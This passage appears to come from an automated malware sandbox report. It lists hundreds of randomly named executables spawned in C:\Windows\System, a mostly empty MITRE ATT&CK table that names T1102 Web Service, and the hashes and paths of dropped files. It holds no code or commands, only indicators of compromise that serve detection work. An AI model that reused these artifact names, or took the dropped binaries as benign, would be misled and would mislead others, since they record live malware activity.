  C:\Windows\System\nPfZhXq.exe
  2⤵
  PID:8812
- C:\Windows\System\SFQdNuU.exe
  C:\Windows\System\SFQdNuU.exe
  2⤵
  PID:15132
- C:\Windows\System\uyaoBjx.exe
  C:\Windows\System\uyaoBjx.exe
  2⤵
  PID:8624
- C:\Windows\System\PWSUanP.exe
  C:\Windows\System\PWSUanP.exe
  2⤵
  PID:15188
- C:\Windows\System\umtFfqf.exe
  C:\Windows\System\umtFfqf.exe
  2⤵
  PID:15328
- C:\Windows\System\RVzlRLe.exe
  C:\Windows\System\RVzlRLe.exe
  2⤵
  PID:11940
- C:\Windows\System\dPgDWIx.exe
  C:\Windows\System\dPgDWIx.exe
  2⤵
  PID:9184
- C:\Windows\System\aeXMSCJ.exe
  C:\Windows\System\aeXMSCJ.exe
  2⤵
  PID:8688
- C:\Windows\System\owEiRse.exe
  C:\Windows\System\owEiRse.exe
  2⤵
  PID:12032
- C:\Windows\System\hDPqcyV.exe
  C:\Windows\System\hDPqcyV.exe
  2⤵
  PID:14584
- C:\Windows\System\JQlRSMf.exe
  C:\Windows\System\JQlRSMf.exe
  2⤵
  PID:14364
- C:\Windows\System\iKOiKnT.exe
  C:\Windows\System\iKOiKnT.exe
  2⤵
  PID:10712
- C:\Windows\System\pYfBMHd.exe
  C:\Windows\System\pYfBMHd.exe
  2⤵
  PID:2752
- C:\Windows\System\RzGmttB.exe
  C:\Windows\System\RzGmttB.exe
  2⤵
  PID:8408
- C:\Windows\System\zuiuzhK.exe
  C:\Windows\System\zuiuzhK.exe
  2⤵
  PID:8000
- C:\Windows\System\XQFNmyr.exe
  C:\Windows\System\XQFNmyr.exe
  2⤵
  PID:8448
- C:\Windows\System\MJasEag.exe
  C:\Windows\System\MJasEag.exe
  2⤵
  PID:8368
- C:\Windows\System\DhKrJhJ.exe
  C:\Windows\System\DhKrJhJ.exe
  2⤵
  PID:7776
- C:\Windows\System\NozguDd.exe
  C:\Windows\System\NozguDd.exe
  2⤵
  PID:11248
- C:\Windows\System\fVtIQen.exe
  C:\Windows\System\fVtIQen.exe
  2⤵
  PID:14740
- C:\Windows\System\xIdleTj.exe
  C:\Windows\System\xIdleTj.exe
  2⤵
  PID:8628
- C:\Windows\System\UnBKUvu.exe
  C:\Windows\System\UnBKUvu.exe
  2⤵
  PID:8808
- C:\Windows\System\OQOwgpF.exe
  C:\Windows\System\OQOwgpF.exe
  2⤵
  PID:8500
- C:\Windows\System\LoKWoMT.exe
  C:\Windows\System\LoKWoMT.exe
  2⤵
  PID:7468
- C:\Windows\System\uaMGBHS.exe
  C:\Windows\System\uaMGBHS.exe
  2⤵
  PID:11584
- C:\Windows\System\eZGRhgY.exe
  C:\Windows\System\eZGRhgY.exe
  2⤵
  PID:11700
- C:\Windows\System\UMZqhIm.exe
  C:\Windows\System\UMZqhIm.exe
  2⤵
  PID:8168
- C:\Windows\System\RFYtvaI.exe
  C:\Windows\System\RFYtvaI.exe
  2⤵
  PID:7680
- C:\Windows\System\OAVGzYa.exe
  C:\Windows\System\OAVGzYa.exe
  2⤵
  PID:11424
- C:\Windows\System\pSQkusS.exe
  C:\Windows\System\pSQkusS.exe
  2⤵
  PID:8912
- C:\Windows\System\BWrZBvk.exe
  C:\Windows\System\BWrZBvk.exe
  2⤵
  PID:8744
- C:\Windows\System\xyPWwzM.exe
  C:\Windows\System\xyPWwzM.exe
  2⤵
  PID:9192
- C:\Windows\System\ZztgVKT.exe
  C:\Windows\System\ZztgVKT.exe
  2⤵
  PID:7812
- C:\Windows\System\XdpRDne.exe
  C:\Windows\System\XdpRDne.exe
  2⤵
  PID:11904
- C:\Windows\System\IMXLibf.exe
  C:\Windows\System\IMXLibf.exe
  2⤵
  PID:12136
- C:\Windows\System\noeQPXh.exe
  C:\Windows\System\noeQPXh.exe
  2⤵
  PID:11404
- C:\Windows\System\JjTbXTQ.exe
  C:\Windows\System\JjTbXTQ.exe
  2⤵
  PID:15296
- C:\Windows\System\WUzIabT.exe
  C:\Windows\System\WUzIabT.exe
  2⤵
  PID:8648
- C:\Windows\System\ctjtrQb.exe
  C:\Windows\System\ctjtrQb.exe
  2⤵
  PID:7648
- C:\Windows\System\UIaQItT.exe
  C:\Windows\System\UIaQItT.exe
  2⤵
  PID:8708
- C:\Windows\System\ccGnRzn.exe
  C:\Windows\System\ccGnRzn.exe
  2⤵
  PID:8816
- C:\Windows\System\iUliGLD.exe
  C:\Windows\System\iUliGLD.exe
  2⤵
  PID:15232
- C:\Windows\System\LxZewaQ.exe
  C:\Windows\System\LxZewaQ.exe
  2⤵
  PID:9552
- C:\Windows\System\KOwZhrM.exe
  C:\Windows\System\KOwZhrM.exe
  2⤵
  PID:11964
- C:\Windows\System\HXFgVzq.exe
  C:\Windows\System\HXFgVzq.exe
  2⤵
  PID:12196
- C:\Windows\System\ZgWLUTf.exe
  C:\Windows\System\ZgWLUTf.exe
  2⤵
  PID:15200
- C:\Windows\System\avaNyBS.exe
  C:\Windows\System\avaNyBS.exe
  2⤵
  PID:7416
- C:\Windows\System\VxcYJmB.exe
  C:\Windows\System\VxcYJmB.exe
  2⤵
  PID:8196
- C:\Windows\System\bGffurV.exe
  C:\Windows\System\bGffurV.exe
  2⤵
  PID:8720
- C:\Windows\System\wCkNCaL.exe
  C:\Windows\System\wCkNCaL.exe
  2⤵
  PID:15248
- C:\Windows\System\lgWysWo.exe
  C:\Windows\System\lgWysWo.exe
  2⤵
  PID:11832
- C:\Windows\System\InqLTHF.exe
  C:\Windows\System\InqLTHF.exe
  2⤵
  PID:8412
- C:\Windows\System\FMuFXon.exe
  C:\Windows\System\FMuFXon.exe
  2⤵
  PID:14300
- C:\Windows\System\acgBddW.exe
  C:\Windows\System\acgBddW.exe
  2⤵
  PID:6732
- C:\Windows\System\puSvNzt.exe
  C:\Windows\System\puSvNzt.exe
  2⤵
  PID:9248
- C:\Windows\System\GLMiVOV.exe
  C:\Windows\System\GLMiVOV.exe
  2⤵
  PID:4676
- C:\Windows\System\GenNrJO.exe
  C:\Windows\System\GenNrJO.exe
  2⤵
  PID:11588
- C:\Windows\System\hhNrKWQ.exe
  C:\Windows\System\hhNrKWQ.exe
  2⤵
  PID:10360
- C:\Windows\System\pKfLvcn.exe
  C:\Windows\System\pKfLvcn.exe
  2⤵
  PID:11912
- C:\Windows\System\MBOmQRn.exe
  C:\Windows\System\MBOmQRn.exe
  2⤵
  PID:11236
- C:\Windows\System\oZJpZuI.exe
  C:\Windows\System\oZJpZuI.exe
  2⤵
  PID:9992
- C:\Windows\System\VQBIMbw.exe
  C:\Windows\System\VQBIMbw.exe
  2⤵
  PID:9036
- C:\Windows\System\HPtKsOJ.exe
  C:\Windows\System\HPtKsOJ.exe
  2⤵
  PID:14588
- C:\Windows\System\gkdqfzW.exe
  C:\Windows\System\gkdqfzW.exe
  2⤵
  PID:14932
- C:\Windows\System\JYjURvH.exe
  C:\Windows\System\JYjURvH.exe
  2⤵
  PID:7676
- C:\Windows\System\AHfoLvo.exe
  C:\Windows\System\AHfoLvo.exe
  2⤵
  PID:8936
- C:\Windows\System\cozqBDD.exe
  C:\Windows\System\cozqBDD.exe
  2⤵
  PID:8612
- C:\Windows\System\zzFNwuI.exe
  C:\Windows\System\zzFNwuI.exe
  2⤵
  PID:7504
- C:\Windows\System\Rbkxkmz.exe
  C:\Windows\System\Rbkxkmz.exe
  2⤵
  PID:8900
- C:\Windows\System\LJuzAmQ.exe
  C:\Windows\System\LJuzAmQ.exe
  2⤵
  PID:9436
- C:\Windows\System\RcpwwdJ.exe
  C:\Windows\System\RcpwwdJ.exe
  2⤵
  PID:14908
- C:\Windows\System\yylGwBG.exe
  C:\Windows\System\yylGwBG.exe
  2⤵
  PID:10692
- C:\Windows\System\juPNtqf.exe
  C:\Windows\System\juPNtqf.exe
  2⤵
  PID:15192
- C:\Windows\System\tFDlYrO.exe
  C:\Windows\System\tFDlYrO.exe
  2⤵
  PID:14984
- C:\Windows\System\pNYCZOK.exe
  C:\Windows\System\pNYCZOK.exe
  2⤵
  PID:9504
- C:\Windows\System\adZwklM.exe
  C:\Windows\System\adZwklM.exe
  2⤵
  PID:11272
- C:\Windows\System\aovqqoO.exe
  C:\Windows\System\aovqqoO.exe
  2⤵
  PID:10092
- C:\Windows\System\PafblkP.exe
  C:\Windows\System\PafblkP.exe
  2⤵
  PID:10256
- C:\Windows\System\sdbNGOX.exe
  C:\Windows\System\sdbNGOX.exe
  2⤵
  PID:10348
- C:\Windows\System\HamawZt.exe
  C:\Windows\System\HamawZt.exe
  2⤵
  PID:10448
- C:\Windows\System\FZDhrKt.exe
  C:\Windows\System\FZDhrKt.exe
  2⤵
  PID:9780
- C:\Windows\System\dOJpFTZ.exe
  C:\Windows\System\dOJpFTZ.exe
  2⤵
  PID:7844
- C:\Windows\System\xcrPkHG.exe
  C:\Windows\System\xcrPkHG.exe
  2⤵
  PID:9360
- C:\Windows\System\nKQGCgD.exe
  C:\Windows\System\nKQGCgD.exe
  2⤵
  PID:12824
- C:\Windows\System\dAKTONa.exe
  C:\Windows\System\dAKTONa.exe
  2⤵
  PID:12336
- C:\Windows\System\mlvNtCL.exe
  C:\Windows\System\mlvNtCL.exe
  2⤵
  PID:8288
- C:\Windows\System\dTATUJn.exe
  C:\Windows\System\dTATUJn.exe
  2⤵
  PID:9372
- C:\Windows\System\MxlxYoy.exe
  C:\Windows\System\MxlxYoy.exe
  2⤵
  PID:12912
- C:\Windows\System\Ybpfhjb.exe
  C:\Windows\System\Ybpfhjb.exe
  2⤵
  PID:13992
- C:\Windows\System\SXZwuHy.exe
  C:\Windows\System\SXZwuHy.exe
  2⤵
  PID:9380
- C:\Windows\System\ySOdtvl.exe
  C:\Windows\System\ySOdtvl.exe
  2⤵
  PID:9928
- C:\Windows\System\eusNZqW.exe
  C:\Windows\System\eusNZqW.exe
  2⤵
  PID:10000
- C:\Windows\System\XpRBzHt.exe
  C:\Windows\System\XpRBzHt.exe
  2⤵
  PID:9680
- C:\Windows\System\UGotIeG.exe
  C:\Windows\System\UGotIeG.exe
  2⤵
  PID:14792
- C:\Windows\System\fJoILsM.exe
  C:\Windows\System\fJoILsM.exe
  2⤵
  PID:9972
- C:\Windows\System\pbwLcAJ.exe
  C:\Windows\System\pbwLcAJ.exe
  2⤵
  PID:8260
- C:\Windows\System\RTxmgNd.exe
  C:\Windows\System\RTxmgNd.exe
  2⤵
  PID:11168
- C:\Windows\System\xuYkXxZ.exe
  C:\Windows\System\xuYkXxZ.exe
  2⤵
  PID:10260
- C:\Windows\System\BHWIEiy.exe
  C:\Windows\System\BHWIEiy.exe
  2⤵
  PID:15052
- C:\Windows\System\xBrHpdx.exe
  C:\Windows\System\xBrHpdx.exe
  2⤵
  PID:2848
- C:\Windows\System\WiKBGux.exe
  C:\Windows\System\WiKBGux.exe
  2⤵
  PID:9716
- C:\Windows\System\aAcUkGJ.exe
  C:\Windows\System\aAcUkGJ.exe
  2⤵
  PID:10772
- C:\Windows\System\jgbLlDG.exe
  C:\Windows\System\jgbLlDG.exe
  2⤵
  PID:10612
- C:\Windows\System\ysxndst.exe
  C:\Windows\System\ysxndst.exe
  2⤵
  PID:10824
- C:\Windows\System\jmNyExC.exe
  C:\Windows\System\jmNyExC.exe
  2⤵
  PID:11240
- C:\Windows\System\HKCUzKg.exe
  C:\Windows\System\HKCUzKg.exe
  2⤵
  PID:10964
- C:\Windows\System\OJAUdkP.exe
  C:\Windows\System\OJAUdkP.exe
  2⤵
  PID:3800
- C:\Windows\System\hLeVdte.exe
  C:\Windows\System\hLeVdte.exe
  2⤵
  PID:10792
- C:\Windows\System\BoZgsrm.exe
  C:\Windows\System\BoZgsrm.exe
  2⤵
  PID:9536
- C:\Windows\System\AwRknvT.exe
  C:\Windows\System\AwRknvT.exe
  2⤵
  PID:10472
- C:\Windows\System\CNeovzG.exe
  C:\Windows\System\CNeovzG.exe
  2⤵
  PID:15080
- C:\Windows\System\PBwegGJ.exe
  C:\Windows\System\PBwegGJ.exe
  2⤵
  PID:11312
- C:\Windows\System\SficOzp.exe
  C:\Windows\System\SficOzp.exe
  2⤵
  PID:11120
- C:\Windows\System\cYnihRk.exe
  C:\Windows\System\cYnihRk.exe
  2⤵
  PID:10608
- C:\Windows\System\eGvVHDq.exe
  C:\Windows\System\eGvVHDq.exe
  2⤵
  PID:12920
- C:\Windows\System\EAbkOKd.exe
  C:\Windows\System\EAbkOKd.exe
  2⤵
  PID:10424
- C:\Windows\System\AZDfFMT.exe
  C:\Windows\System\AZDfFMT.exe
  2⤵
  PID:9836
- C:\Windows\System\phyLzLX.exe
  C:\Windows\System\phyLzLX.exe
  2⤵
  PID:12100
- C:\Windows\System\njJGWXq.exe
  C:\Windows\System\njJGWXq.exe
  2⤵
  PID:10064
- C:\Windows\System\dnHlgqG.exe
  C:\Windows\System\dnHlgqG.exe
  2⤵
  PID:10856
- C:\Windows\System\LMXGBIA.exe
  C:\Windows\System\LMXGBIA.exe
  2⤵
  PID:10432
- C:\Windows\System\yyIxwow.exe
  C:\Windows\System\yyIxwow.exe
  2⤵
  PID:8968
- C:\Windows\System\WFGGxNw.exe
  C:\Windows\System\WFGGxNw.exe
  2⤵
  PID:8952
- C:\Windows\System\qhxxlUj.exe
  C:\Windows\System\qhxxlUj.exe
  2⤵
  PID:7752
- C:\Windows\System\WzQBXgW.exe
  C:\Windows\System\WzQBXgW.exe
  2⤵
  PID:10700
- C:\Windows\System\qqbYDHC.exe
  C:\Windows\System\qqbYDHC.exe
  2⤵
  PID:12368
- C:\Windows\System\rRHcYNj.exe
  C:\Windows\System\rRHcYNj.exe
  2⤵
  PID:11216
- C:\Windows\System\VPqGhVs.exe
  C:\Windows\System\VPqGhVs.exe
  2⤵
  PID:11068
- C:\Windows\System\wbyeaLQ.exe
  C:\Windows\System\wbyeaLQ.exe
  2⤵
  PID:10588
- C:\Windows\System\UNEHkAZ.exe
  C:\Windows\System\UNEHkAZ.exe
  2⤵
  PID:12276
- C:\Windows\System\VqKQzbx.exe
  C:\Windows\System\VqKQzbx.exe
  2⤵
  PID:6572
- C:\Windows\System\drPacQc.exe
  C:\Windows\System\drPacQc.exe
  2⤵
  PID:12280
- C:\Windows\System\oukgJQm.exe
  C:\Windows\System\oukgJQm.exe
  2⤵
  PID:10564
- C:\Windows\System\KAvSHPx.exe
  C:\Windows\System\KAvSHPx.exe
  2⤵
  PID:10780
- C:\Windows\System\ukEoKmX.exe
  C:\Windows\System\ukEoKmX.exe
  2⤵
  PID:11772
- C:\Windows\System\qROvMGq.exe
  C:\Windows\System\qROvMGq.exe
  2⤵
  PID:4088
- C:\Windows\System\IIGRQmN.exe
  C:\Windows\System\IIGRQmN.exe
  2⤵
  PID:12176
- C:\Windows\System\MiPbvrg.exe
  C:\Windows\System\MiPbvrg.exe
  2⤵
  PID:14736
- C:\Windows\System\dbkQqiJ.exe
  C:\Windows\System\dbkQqiJ.exe
  2⤵
  PID:10908
- C:\Windows\System\pUcxZoo.exe
  C:\Windows\System\pUcxZoo.exe
  2⤵
  PID:9688
- C:\Windows\System\zZUCcMv.exe
  C:\Windows\System\zZUCcMv.exe
  2⤵
  PID:11840
- C:\Windows\System\OhIhbuZ.exe
  C:\Windows\System\OhIhbuZ.exe
  2⤵
  PID:10276
- C:\Windows\System\iuEOWMK.exe
  C:\Windows\System\iuEOWMK.exe
  2⤵
  PID:10828
- C:\Windows\System\YeQmwAF.exe
  C:\Windows\System\YeQmwAF.exe
  2⤵
  PID:15368
- C:\Windows\System\lDHLVaQ.exe
  C:\Windows\System\lDHLVaQ.exe
  2⤵
  PID:15388
- C:\Windows\System\defyjHw.exe
  C:\Windows\System\defyjHw.exe
  2⤵
  PID:15412
- C:\Windows\System\QbYbIPx.exe
  C:\Windows\System\QbYbIPx.exe
  2⤵
  PID:15452
- C:\Windows\System\LHxZeCA.exe
  C:\Windows\System\LHxZeCA.exe
  2⤵
  PID:15608
- C:\Windows\System\JfpArHg.exe
  C:\Windows\System\JfpArHg.exe
  2⤵
  PID:15784
- C:\Windows\System\cUJwyDB.exe
  C:\Windows\System\cUJwyDB.exe
  2⤵
  PID:15812
- C:\Windows\System\scqDvrj.exe
  C:\Windows\System\scqDvrj.exe
  2⤵
  PID:15844
- C:\Windows\System\wSYmcTu.exe
  C:\Windows\System\wSYmcTu.exe
  2⤵
  PID:15872
- C:\Windows\System\uSmoXMF.exe
  C:\Windows\System\uSmoXMF.exe
  2⤵
  PID:15904
- C:\Windows\System\cYcRidC.exe
  C:\Windows\System\cYcRidC.exe
  2⤵
  PID:15928
- C:\Windows\System\KlqjdIL.exe
  C:\Windows\System\KlqjdIL.exe
  2⤵
  PID:15952
- C:\Windows\System\OxeGnzH.exe
  C:\Windows\System\OxeGnzH.exe
  2⤵
  PID:15972
- C:\Windows\System\WqQPRne.exe
  C:\Windows\System\WqQPRne.exe
  2⤵
  PID:16000
- C:\Windows\System\qMIRzzb.exe
  C:\Windows\System\qMIRzzb.exe
  2⤵
  PID:16040
- C:\Windows\System\skEqFcE.exe
  C:\Windows\System\skEqFcE.exe
  2⤵
  PID:16060
- C:\Windows\System\JKYQcpy.exe
  C:\Windows\System\JKYQcpy.exe
  2⤵
  PID:16084
- C:\Windows\System\BlBMRhO.exe
  C:\Windows\System\BlBMRhO.exe
  2⤵
  PID:16112
- C:\Windows\System\nGgHdZV.exe
  C:\Windows\System\nGgHdZV.exe
  2⤵
  PID:16132
- C:\Windows\System\AqgwonJ.exe
  C:\Windows\System\AqgwonJ.exe
  2⤵
  PID:16152
- C:\Windows\System\hQMuLNR.exe
  C:\Windows\System\hQMuLNR.exe
  2⤵
  PID:16168
- C:\Windows\System\SPmYmHq.exe
  C:\Windows\System\SPmYmHq.exe
  2⤵
  PID:16184
- C:\Windows\System\ipkEuyN.exe
  C:\Windows\System\ipkEuyN.exe
  2⤵
  PID:16200
- C:\Windows\System\HUaRrkZ.exe
  C:\Windows\System\HUaRrkZ.exe
  2⤵
  PID:16240
- C:\Windows\System\hrfOeRa.exe
  C:\Windows\System\hrfOeRa.exe
  2⤵
  PID:16280
- C:\Windows\System\sndlntO.exe
  C:\Windows\System\sndlntO.exe
  2⤵
  PID:16316
- C:\Windows\System\RilvuqL.exe
  C:\Windows\System\RilvuqL.exe
  2⤵
  PID:11328
- C:\Windows\System\UdnnEIJ.exe
  C:\Windows\System\UdnnEIJ.exe
  2⤵
  PID:11172
- C:\Windows\System\aRIDxgn.exe
  C:\Windows\System\aRIDxgn.exe
  2⤵
  PID:12512
- C:\Windows\System\UGXDApl.exe
  C:\Windows\System\UGXDApl.exe
  2⤵
  PID:9664
- C:\Windows\System\sTPAxND.exe
  C:\Windows\System\sTPAxND.exe
  2⤵
  PID:10996
- C:\Windows\System\dHwslnj.exe
  C:\Windows\System\dHwslnj.exe
  2⤵
  PID:15536
- C:\Windows\System\PogmXzM.exe
  C:\Windows\System\PogmXzM.exe
  2⤵
  PID:10816
- C:\Windows\System\tPVagSW.exe
  C:\Windows\System\tPVagSW.exe
  2⤵
  PID:15792
- C:\Windows\System\hFySheC.exe
  C:\Windows\System\hFySheC.exe
  2⤵
  PID:15652
- C:\Windows\System\pghskMH.exe
  C:\Windows\System\pghskMH.exe
  2⤵
  PID:15920
- C:\Windows\System\tyCagGt.exe
  C:\Windows\System\tyCagGt.exe
  2⤵
  PID:15968
- C:\Windows\System\bDNpqKx.exe
  C:\Windows\System\bDNpqKx.exe
  2⤵
  PID:16096
- C:\Windows\System\SurnnnR.exe
  C:\Windows\System\SurnnnR.exe
  2⤵
  PID:16180
- C:\Windows\System\hqucFkS.exe
  C:\Windows\System\hqucFkS.exe
  2⤵
  PID:15916
- C:\Windows\System\FjWJAdb.exe
  C:\Windows\System\FjWJAdb.exe
  2⤵
  PID:15768
- C:\Windows\System\qjwFoJE.exe
  C:\Windows\System\qjwFoJE.exe
  2⤵
  PID:16292
- C:\Windows\System\bKKAdVA.exe
  C:\Windows\System\bKKAdVA.exe
  2⤵
  PID:16140
- C:\Windows\System\YdMEYFG.exe
  C:\Windows\System\YdMEYFG.exe
  2⤵
  PID:9648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\O8VM10HV\home-993d2c38b2c1[1].css

Filesize
11KB

MD5
6328d6d9a6b00ce7f992230b97b17c1f

SHA1
88837b802bdde407e37e92641072ea2eeec95556

SHA256
c9d9b80794cebd7d97daf52f7f0ce0e31bcf7a6f65a6e07851c688d67f10dba8

SHA512
993d2c38b2c15499aebdb39c1f9c21d0501d4c2a5973caec65be9ddc3ddfd6e46d06449e7483daa4fa9afa17cb81ff27a391519a64629169eb15c52911aab2c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ooer5gci.ved.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\AQkGTMz.exe

Filesize
2.1MB

MD5
0b62b59c32b1525495f78d0e1ba5c50d

SHA1
d4cbe2d0b851463c7a33fe2040fc11517111c4d6

SHA256
b81a3c4adc4563541899a82cd5ac2d2b01db7b56a832902bd02480902f07b488

SHA512
67b5d7d2091fd669a7193dfb55a11c9a6d0f1fa8a9f44fbd5871aade1ec6c9826269f66c5b9374f4deeefd4b3f435248acc3d2e84d9b46aeb3fd3c20d79b9141

Download Submit
C:\Windows\System\BNGJgsN.exe

Filesize
2.1MB

MD5
5548ff758bfec54bb9a4933c0732aaf4

SHA1
39800d507f733f77d1016b297e7f06a28ed36f12

SHA256
7fcbf1bc1acc43282514419dda5cf71e21486e32bedb29e48afbced058f072ca

SHA512
3274d598d48844cfa817d0db9da93fffb1781bdba88c561b0b4b47756ae164e51676a00e355dea34ffca79c5f76affa6274d383b05bdfcfb5f42a859b918da48

Download Submit
C:\Windows\System\DwcazaW.exe

Filesize
2.1MB

MD5
17a160732ea1c5e1789bc84dd4a4f3f4

SHA1
22e4353a46c18849ed89eb579766b30fd77eb776

SHA256
212b794b91df3b06824371116c3e2646b8215028e0d0e29009428e2ca440c73c

SHA512
bc85488449f09d699da3e08bbafa73a94aaf4121df93e6743b6f806b0758b18f0beced57bad991d4907db6340fed2af59be3e95870884704f7a2b19725cb6fa8

Download Submit
C:\Windows\System\FnZpCYi.exe

Filesize
2.1MB

MD5
bf813d9f9090da7621d94236bc6c153a

SHA1
e4c7730b9c5341c7a0b652f983eb9e72add18104

SHA256
7e6b0a4afc5c25043224ceef58c228be250943bbec34eeb56313fd62fadb122f

SHA512
532ee497b16e021733e8ebd139213e79a15722b3ed5c46d7485b10b92659f4aabf56ef4bf1d4e32e387a34217545fac6f4fa88ba64dbf4937dbd2aa06b35d6cb

Download Submit
C:\Windows\System\FztTeNm.exe

Filesize
2.1MB

MD5
6da63b58d6d30851530a3379a71b670a

SHA1
39c9634b2be0a3f5c1bd18fd5560535d73884c81

SHA256
0edbbfe43190f561a08e5f12d82a26f8d3f2da1023da754a2f2209fbbea70884

SHA512
8ef88b1603dd286d07acd44ac713759b666a7d236f6516add3020b871c60252de91c80a5df75cf9c0380e77b0728fb31bf9ce073f223d9dfcc961d77cc3b5944

Download Submit
C:\Windows\System\GYXKSDL.exe

Filesize
2.1MB

MD5
6f26d886e0dd2dbab48f108e9dec5989

SHA1
d5374f3751c19b750dfd8ff7af2b97eb2370f690

SHA256
4aa05b7f820c67ca52f735fdd8e90224fe9156ef762ce1ebd96421986b9aaf3b

SHA512
cfa2c9148c88becd06a6b44483937c8e8c1609c253743f841847cd34dd6cacac5bda6e558ecc23c8bf30f322de0aeb29c2bc7cec81d403ecd1b9613492144f61

Download Submit
C:\Windows\System\GZjNlrU.exe

Filesize
2.1MB

MD5
1ac7a6385caaf2f328e7a141fb496b5a

SHA1
1ae62a35f1a08319449e85b468bf8c617d2bd818

SHA256
3f3f0ad0d3bc1b1a379ad646747d856cabcbc01039d78b356d547dfe98e2d3cd

SHA512
dbc55fe07bdeb468c1fcd75637db9278e65db0c78259f144aaf1d753329ef529943206479d060b27bbeb7212847f769ca100e1a72910c711c78780b6b5ee6511

Download Submit
C:\Windows\System\JnlrrFH.exe

Filesize
2.1MB

MD5
9a301b655428d42e80c8e107e9df25e6

SHA1
66a4611ebf6ab0c120df46caf62e5d0d54bd7b75

SHA256
ede51e7248ed3d2c0fa956b7d9a273c5c27fe977b68649f9a9364adf2d04127a

SHA512
9c2ec8a2db701e36f5a7db70ea8308e1487aac2b4a04b35647dd953918d08625c3cd82346c6175cde325dcb8a449f5a29a57c5e2dc9896d366976e7b77c158af

Download Submit
C:\Windows\System\KTSyfmE.exe

Filesize
2.1MB

MD5
00c705a0e727b3feb5a521cee7b1151f

SHA1
53591f633d9345ef279f22a3eb4ecc7a65a0b3d6

SHA256
b4899e6908a20ba4d61a4237f239f3335f878b66872258aac3b7b2b1100a5ab8

SHA512
0d4fe20707500927a88bf312537dc1a4d0e0db11fea99154681c45c4725edf423714dc80173e5845c3f4ee93b75692dd865524dac339a0acc1d0663dc79caa75

Download Submit
C:\Windows\System\KlWEFGI.exe

Filesize
2.1MB

MD5
6ab6c4a62f7ca73821adcd5fc67e3cc5

SHA1
13c6583bb2a0ad9ec9f9ec470dd46da233f02615

SHA256
576afe7fc18c81d4f32db474f003548267775ac2789aeaab7eb4e91eda0820a3

SHA512
d35bd25ff950158110d50ceea09633f2708792d5e069d68cbde46a660b8f7fe9bd8e494e77bf0b4cf5375920fc9543dc5fe4ae34cfec73c5e1276ce6551334af

Download Submit
C:\Windows\System\NlioAwu.exe

Filesize
2.1MB

MD5
7b5892da8b2b36c2d8231bec9df36db7

SHA1
ead85137480df86255d06b6e9ca3661907944cce

SHA256
23503c246c07a954344bd5df8130edb436c2b85b04e5d271b594473ba97228af

SHA512
6af7ac4fea6a6b6278337742994413b252879075911f4051117075908493952a24d557e25609e9d2dcab9cd62111b7074c81764cb78cdbcdd14aa8cf84d7947f

Download Submit
C:\Windows\System\OZiCHvu.exe

Filesize
2.1MB

MD5
0e440b693c0a94e76cfe628f99b6471c

SHA1
1f6d9d213cb497603be353461c05707b74904081

SHA256
d6f058c22778aff16d67b36275da75f95119db383551fe5913f6ffd587b78f77

SHA512
dfe25f4aee91b47f4d53c083a14cf8ffae5349a96cfdc6bc6abecf8b7912443fa64b7da52cecde58a094c18dd767c5ed1acc9f81fe034739654e8bf5658721f5

Download Submit
C:\Windows\System\ReUdvJJ.exe

Filesize
2.1MB

MD5
1c7be9a2e8797706beb9043cbcd37c4a

SHA1
4c58cbdace513c1c148a079c8ab214802d3807fd

SHA256
6d0bd30e28a5f780352b1e955c02febb190f2d33ca342fad1dc8a69512366104

SHA512
4127085e23f226cfcc7ce1aae18af25260b58576f99a0b48e12a76d481bdcf6ca7a6aaae4c25cab5fba694fceb62f0ce9c390cdfc541d5b3efb6eda2acb64c2e

Download Submit
C:\Windows\System\XAQotYU.exe

Filesize
2.1MB

MD5
828b8115b6664231e4e05b4626759f79

SHA1
ab060524e09c0578faa57ccbe67ba3980b17f48d

SHA256
dab1e0b05c639712c9f7daf1a6da55dec6597afec330ff5a74d30e6341a4bda4

SHA512
0c19feb5be0dfca9cf647d0c278b545806075231c663bec02e5db3730fe0cce4c88a0413cdc2be1886fce702ea864937d59ac7a948dc1bac652c856236ea4b0f

Download Submit
C:\Windows\System\XDWmFQA.exe

Filesize
2.1MB

MD5
325fdb1152192b6e66edff815f2def9b

SHA1
e7f16d13620ff10118000a9d0020f84ff4a98888

SHA256
872a550d6ce6295996e43b5a765584934e9ba7828b510a083d338cf4e7968340

SHA512
e82cdf5d09ee9aa3cd69f76d4c373b4e045e1bd872d9bccb15f20c9f135e0cc9ecf100e48aedf9e59ae0508051f4bb07f37653d888e3a1c2c89c2ab8d832a792

Download Submit
C:\Windows\System\aVvLJES.exe

Filesize
2.1MB

MD5
95b9d50c545ad7c64dd3321e96883b50

SHA1
350f12a2c2a8119907ef61239d733418c89fcd26

SHA256
12e68384709bc5d1df6d2b3734058427b927a7daf1ff7d62d76ecf146059f7fd

SHA512
ba5d8c39f37e6827145ab8e4389c0941c97782dcd36db03731134ed1b75897ea4348095a7019b29789993c5e49df6f9793e3bbe91544f15814a7194be1fe1471

Download Submit
C:\Windows\System\bTmbgLA.exe

Filesize
2.1MB

MD5
3d51f9f579ae14cefcc8b4130dc9ba54

SHA1
86f5532da6bc51d90872f3ce692edafa5fbd22ac

SHA256
6da206b940ab896a3e10050b391bd771890b964a476f0ccd7840e2a88e5fde18

SHA512
5a060a2112bbfab6fdebfa1e9b615378a5a1d4818a9d9dd3e8ff11cc448b7c4dfcf73bc71b87ff387e9497e065019f355b00deb2072287a64ede0e762749a247

Download Submit
C:\Windows\System\dNjRCzs.exe

Filesize
2.1MB

MD5
8f98cddcf82b56a7b7a2004f97d26996

SHA1
5fd7c420c4783f681ad3bc6eb8cd12bc5243c50e

SHA256
788874284c9c30a840b88be834e0252e146df74d9cd5cd9090e2a49f4a30075a

SHA512
8299823b8efac9e7f10a84560e5afbbd0587e1dea2cf8e64c225a17f135a0ed11a88a1a48c32af61650ea980252167f685f28f698e3ddc2bc6a4b72853e1ec44

Download Submit
C:\Windows\System\eqOKLQJ.exe

